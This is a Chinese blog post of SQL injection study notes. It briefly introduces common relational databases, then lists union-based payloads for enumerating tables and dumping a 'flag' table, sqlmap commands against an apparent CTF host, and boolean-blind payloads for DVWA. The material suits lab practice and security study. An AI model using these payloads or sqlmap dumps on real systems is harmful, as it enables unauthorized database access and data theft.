0
点赞
收藏
分享

微信扫一扫

SQL注入漏洞-学习笔记

独西楼Q 2022-11-16 阅读 137


关系型数据库

oracle

ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客
户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。比如SilverStream就是基于数据库的一种中间件。ORACLE数据
库是目前世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系
数据库,它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。但它的所有知识,只要在一种机型上学习
了ORACLE知识,便能在各种类型的机器上使用它。(Win系统上,默认以Administrator权限运行)
官网: https://www.oracle.com/

Mysql (Mariadb) 数据库

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关
系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关
系数据库管理系统) 应用软件之一。
MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可 MariaDB的目的是完全兼
容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。
MariaDB: ​​​https://mariadb.com/​​​ MySQL: ​​https://www.mysql.com/​​

SQL Server数据库

SQL Server 是一个关系数据库管理系统。它最初是由Microsoft、Sybase 和Ashton-Tate三家公司共同开发的,于
1988 年推出了第一个OS/2版本。在Windows NT 推出后,Microsoft与Sybase 在SQL Server 的开发上就分道扬镳了,
Microsoft 将SQL Server移植到Windows NT系统上,专注于开发推广SQL Server 的Windows NT 版本。
Sybase 则较专注于SQL Server在UNⅨ操作系统上的应用。 SQL Server 2000 是Microsoft 公司推出的SQL Server
数据库管理系统,该版本继承了SQL Server 7.0 版本的优点,同时又比它增加了许多更先进的功能。
官网:​​​https://docs.microsoft.com/zh-cn/sql/​​

PostgreSQL数据库

PostgreSQL是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。PostgreSQL最初
设想于1986年,当时被叫做Berkley Postgres Project。该项目一直到1994年都处于演进和修改中,直到开发人员Andrew
Yu和Jolly Chen在Postgres中添加了一个SQL(Structured Query Language,结构化查询语言)翻译程序,该版本叫做
Postgres95,在开放源代码社区发放。操作系统支持WINDOWS、Linux、UNIX、MAC OS X、
BSD。 PostgreSQL 开发者把它拼读为 “post-gress-Q-L”。
官网:​​​https://www.postgresql.org/​​

SQL

什么是SQL?

  • SQL 指结构化查询语言
  • SQL 使我们有能力访问数据库
  • SQL 是一种 ANSI 的标准计算机语言

sql注入举例

判断字段个数

SQL注入漏洞-学习笔记_sql

order by 2
union select 1,2
union select database(),2
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
union select TABLE_name,2 from information_schema.tables where TABLE_SCHEMA='test'
union select COLUMN_NAME,2 from information_schema.columns where table_name = "flag"
union select flag,2 from flag

sqlmap工具:

sqlmap -u http://e7f139a1-3d7f-416b-b76b-a6d8ca9fe1b9.das-node.wetolink.com:82/\?id\=1
sqlmap -u http://e7f139a1-3d7f-416b-b76b-a6d8ca9fe1b9.das-node.wetolink.com:82/\?id\=1 --dbs
sqlmap -u http://e7f139a1-3d7f-416b-b76b-a6d8ca9fe1b9.das-node.wetolink.com:82/\?id\=1 -D test --tables
sqlmap -u http://e7f139a1-3d7f-416b-b76b-a6d8ca9fe1b9.das-node.wetolink.com:82/\?id\=1 -D test -T flag --dump

基于布尔注入(盲注)

DVWA:​​1' and (length(database()))>10#​​​ 利用布尔型进行逻辑运算,如果满足长度,则正常返回,若否,则返回空。
​exists()​​ # 用于检查 子查询是否有返回数据。 结果是 true或者false
​ascii()​​ # 把字符转化成ASCII码
​substr()​​ # 用法: ​​substr(string string,num start,num length);​​偏移从1开始的 并不是0;
测试:​​select ascii(substr((select database()),1,1));​​ Payload1:​​1' and (select ascii(substr((select database()),1,1)) =68) #​​ Payload2:​​1' and (select ascii(substr((select database()),1,1)) >67) #​​ Payload3:​​1' and (select ascii(substr((select database()),1,1)) <69) #​

boolean-based blind
time-based blind


举报

相关推荐

0 条评论